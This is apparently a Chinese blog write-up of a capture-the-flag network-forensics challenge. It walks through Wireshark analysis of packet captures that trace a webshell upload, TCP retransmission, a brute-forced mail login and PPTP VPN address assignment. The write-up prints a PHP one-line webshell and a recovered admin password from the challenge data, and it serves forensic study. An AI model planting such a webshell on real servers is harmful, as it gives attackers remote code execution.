一次网络流量分析引发的思考

前言

闲来无事，做了做最近安恒8月比赛的流量包，发现有些题目给的分析不够详细。本着学习知识的心态，重新梳理下思路，稍加扩展，再谈谈个人对网络流量取证方面的一些见解。

 

题目分析

ps:这是详细的比赛题目和分析详见这个网站（此处建议详细看看，最好数据包自行下载分析一遍），下面介绍下题目背景，再挑出几道题目深度分析下。

题目背景

某公司内网网络被黑客渗透，黑客首先攻击了一台web服务器，破解了后台的账户的密码，随之利用破解的密码登录了mail系统，然后获取了vpn的申请方式，然后登录vpn，在内网pwn掉一台打印机。

题目线索总分析

根据题目背景，我们把握下总体脉络，顺着黑客的思路走一番：

首先，黑客攻击公司的一台web服务器。走的是以tcp为载体的http请求，所以过滤http数据分组，成为解题最基本的分析思路。

接着，黑客破解了后台的账户的密码，随之利用破解的密码登录了mail系统。通过这点，我们追踪http，发现更多的线索，比如黑客破解的是哪个账号的哪个密码、登录了mail系统后获取的vpn是什么等等内容。

最后，黑客获取了vpn的申请方式，然后登录vpn，在内网pwn掉一台打印机。至此，黑客登录了vpn，那么是否通过分析此时的流量推出黑客登录时所用的ip，亦或者其他信息呢？

至此，基本脉络分析完毕。当然，以上脉络在没有具体分析数据包前，都只是靠推测去模拟出黑客的种种行为，具体如何分析才是最值得深究的一块。这时，可能又会有人问到，黑客就一定按照你想的去做吗？请注意，凡事没有证据（流量包）之前，我们都不能确定事情的真相如何，分析前的推测更多地是指引我们可以从什么角度去分析，而不是说黑客按照我们怎么想的去怎么做。推测不一定都成立，同样，成立的不一定是推测，推测更多的是给我们一个取证的方向。这也正是数据包取证分析的有趣之处，处处悬疑，步步惊心，但真相出来之际，又有恍然大悟之感的喜悦之情。

迷之坑点

疯狂踩坑—tcp重传机制

某公司内网网络被黑客渗透，请分析流量，得到黑客上传的webshell文件名是，内容是什么,提交webshell内容的base编码

这个问题，比赛时，死活找不到答案，但是在浏览webone.pcap数据包的末尾，发现a.php里面有1234为传递值，自己构造了个一句话木马：<?php @eval($_POST[1234]);?>，然后base64提交完成的。

当然，得到了此题比赛的分数，但是，不是为了比赛而做题，而是通过以赛督学。比赛结束后，细细分析，上传shell需要提交POST的请求，于是http的POST请求包浏览一遍，发现目录为/admin/article.php?rec=update的请求页面非常可疑，但是，却始终没有找到含有一句话木马的上传页面？怎么办呢?苦苦思想，咦，有没可能tcp这个载体漏传了，造成了包丢失？随后，过滤语句tcp contains "<?php @eval"一试，终于找到了正确答案，再试http contains "<?php @eval"依旧没找到，十有八九是丢包了，但这到底是为什么，还需进一步分析。

随后我追踪了下tcp流，发现了在http中没找到的一句话木马上传页面。

仔细分析了下这个tcp流的来往，我想我找到了真相。

首先，看看上图的733791序号分组，我们可以看到"TCP Previous segment not captured"，提示“存在没有抓到的数据包”，也就是意味着：在当前包的捕获中，缺少了本应出现的某些包。紧接着733793序号分组，"Tcp Retransmission",提示“Tcp包重传”。很明显，存在了丢包，引发了TCP的重传机制。

随后我寻找了下tcp重传的相关文档rfc2001，该文档是描述TCP慢启动，避免拥塞，快速重传和快速恢复算法相关机制的文档。其中快速重传有这么一句描述

翻译下：“当收到一个出问题的分组，Tcp立即产生一个应答。这个相同的ack不会延迟。这个相同应答的意图是让对端知道一个分组被收到的时候出现问题，并且告诉它希望得到的序列号。”

那么接下来的733794序号分组，"Tcp Dup ACK 733789#1"，这就代表着，继733789分组序列号后，提示重新传输因某些原因导致的丢包数据。于是，733801序号分组，开始重新传输这段数据。当然，我们可以通过每个分组后面的Seq值，验证是否是重传包。

比如：733794序号分组，此时的Seq值为1，Ack值为3606（与733789序列号相当）；733801序号分组，此时的Seq值为3606，Ack值为1，len值为1460；733802序号分组，此时的Seq值为1，Ack值为5066（733805序号分组Seq和Ack值刚好与此相反）；通过验算，3606+1460=5066，至此，完全符合重传后每个包的Seq、Ack对应值。这样，我们成功了解决的了这题的疑问，上传的是文本内容为<?php @eval($_POST[1234]);?>的1.php文件。

疯狂踩坑—社工？还是溯源？

10、黑客使用了什么账号登陆了mail系统（形式: username/password）

此题说来有趣，此题答案跟原关卡3答案相同，说解法是社工（我想跟大佬们学下怎么社工），但是对比了下，两个关卡中所用到的数据包给的源服务器ip并不一样。当然，管他白猫黑猫，抓到老鼠就是好猫，比赛时能做出来的确厉害。比赛完后的题目说了“利用破解的密码登录了mail系统”，好吧，这个我也勉强能够接受。以下的内容是根据请教三斤鱼大佬，赛后复现出来的，在此再次谢过。

这题需要看mailtwo.pcap和mailtwo1.pcap两个数据包。

首先在mailtwo.pcap中过滤http，分组序号3的Cookie中就发现 login_name=wenwenni字段，并且是action=logout。

继续观察数据包，发现分组序号28的Get登录请求，再看看分组序号35的响应，猜测系统是通过验证cookies信息允许其免密登录，并在其中发现了输入密码后的加密函数：

取出来发现是AES的CBC加密，填充格式为ZeroPadding，密钥为字符串1234567812345678的hash值，偏移量为1234567812345678

var key_hash = CryptoJS.MD5('1234567812345678');
var key = CryptoJS.enc.Utf8.parse(key_hash);
var iv  = CryptoJS.enc.Utf8.parse('1234567812345678');
 form.password.value = CryptoJS.AES.encrypt(form.password.value, key, { iv: iv,mode:CryptoJS.mode.CBC,padding:CryptoJS.pad.ZeroPadding});

在下一分组序号42请求对应的分组序号45返回的响应报文中出现{"success":true}，表示登陆成功。

既然如此，我们使用(http contains "{"success":true}" or http.request.method=="POST") and ip.addr==192.168.94.59过滤一下，显示出post请求及成功的返回结果，浏览一下发现是在爆破，并且到mailtwo.pcap的最后也未爆破成功。相同的过滤条件上在mailtwo1.pcap上试试，发现几条数据，从后往前看，发现分组序号18152是登陆成功的返回结果，那对应的分组序号17126则就是正确的加密后的密码。这里可能会有疑问，黑客不是能成功登录wenwenni用户嘛，为啥还要爆破admin用户？(⊙o⊙)…，说个实在话，那个时候我也有这个疑问，不过后面想想，咱们自己渗透的时候不也是习惯先注册一个账号登录玩玩嘛？

那么解密网址进行aes解密即可得到admin账号的密码。此题最终答案即为：admin/admin!@#PASS123

疯狂踩坑—vpn流量分析学习

11、某公司内网网络被黑客渗透，请分析流量，黑客获得的vpn,ip是多少

此题答案，额，也不知道算不算不难，额，比赛时，给的两个vpn的数据包，其中ip没几个，一个一个去试，也就出来答案了。下面讲讲自己的做法。

首先，放出个PPTP 理解以及报文的分析学习下先，磨刀不误砍柴工嘛。看懂数据包是分析流量包的第一步。打开vpn.one数据包，之前对vpn的数据包没啥研究，不过借此机会好好学习一番。按照正常的分析流程，wireshark三板斧分析一番。

可以发现GRE、UDP、TCP中三者中，GRE在整个传输层所占比例最大。GRE，Generic Routing Encapsulation，中文名为通用路由封装协议，是VPN（Virtual Private Network）的第三层隧道协议。再看图分析，GRE封装着PPP（Point-to-Point Protocol点到点协议），相应的学习链接放置文章末尾（两个协议所在哪一层要先了解）。

其次我们再看看对话，可以清晰的发现，192.168.32.131是基本上每个对话都用到了，可以锁定这条ip地址。并且，我们还发现对话中，192.168.32.255和192.168.94.59两个ip与192.168.32.131对话都很多，那么就很明显，忽略网关后，那就只剩192.168.94.59这个ip了。

在此分析过程中，我们会遇到其他的“干扰选项”，这些都需要自行筛选分析，比如上图的209.244.0.3与192.168.32.131的对话就如下，一看就知道是无关信息咯。

知道可疑ip后，过滤下，过滤语句ip.addr == 192.168.94.59

过滤后，映入眼帘的pptp首个分组序号4527：start-control-connection-reply ，这个消息是由PPTP服务器发出，回应start-controlconnection-request消息。那就有点奇怪了，这条消息是回应的，那请求的去哪了？不知道你是否发现分组序号4527前几个分组的消息，没错，正如你所想的，又发生了丢包情况。那我们往下滑，看看完整的分组。

很清晰，192.168.94.59和192.168.32.131通过三次握手时，出现了分组序号4581：start-control-connection-request ，这是由PPTP客户端发出，请求建立控制连接。PPTP隧道要求在发送任何其他PPTP消息之前，先建立一条控制连接。那么很好，可以确定，黑客此时的ip是192.168.94.59。

再回看题目，黑客获得的vpn,ip是多少？难道是这个？不，天真了。问的应该是分配vpn的ip。接着往下分析，发现了黑客登录vpn时失败的消息：Authentication failed。

再往下翻翻，不久，你就会发现

黑客登录成功了，登录的用户名为xiangh，额，做到这里，其实我想知道vpn的密码，后面发现还是天真了，大佬们具体可以参照下CHAP验证中的密码问题。再接着，通过网站寻找资料学习了一波，发现文档rfc1332有以下描述：

又发现PPP协议其中有这么一段描述

随后，翻翻数据包，找到了最终的答案，分组序号4953中192.168.94.59向192.168.32.131发送了一个请求，内容如下，可以发现全部为0.0.0.0

紧接着分组序号4954返回了一个期望的值（即规定给的vpn的ip）

再接下来的两个连续分组序号4955表示192.168.94.59再次询问能否以192.168.94.59刚刚发送的期望值，作为192.168.94.59的详细内容，分组序号4956表示接受这个请求。

此题到此分析完毕，最终答案就是10.3.4.3咯。

 

一些看法

之所以想谈谈这些看法，一是经常有人问流量分析有那么重要吗？每次分析出事情的真相又如何，都已经发生了，改变不了结果的；二是针对最近的某酒店用户信息重大泄露事件；

这个时代科技的风云聚变，我想每个人都有各自的感受，对于我而言，大一听到的网络安全，大二听到的人工智能，直到现在，以太坊、区块链等等。这些东西，之前不是没有，而是突然间变“火”了。对于网络安全而言，它的特点是革新的速度，这不单单是网络技术迅猛发展的护航需要，更是”道高一尺魔高一丈“的比拼。相对而言，网络流量的取证分析，好像都是”黑与白“之间较量后，才显露出的结果（这个结果往往是不好的）。其实不然，取证的目的就在于揭示那些”黑与白“较量之间的、有意义的、先前不为人知的、被人忽视的细节。网络取证看似亡羊补牢，但这又何尝不是还原每个事件真相的必要呢？只有知道那些真相的细节之处，才会促进网络安全的发展，提升网络安全的防护意识。

取证是一门艺术，“真的假不了，假的也真不了”。对于这些大大小小的安全事件而言，取证分析后，分析出造成不良结果的种种原因，或许让人觉得搞笑，亦或者震惊。但仔细想想，何尝不是给每个人敲响了警钟，让每个人多了点意识，每个团队学习了新的技术，每个“白帽子”心中的那份正义呢？

网络取证，流量分析，可能不是一项关于安全的技术，而是一项关于“不安全”的技术？你觉得呢？

 

文章相关资料学习链接：

对TCP重传的进一步认识

浅析GRE协议（通用路由封装协议）

GRE、PPTP、L2TP隧道协议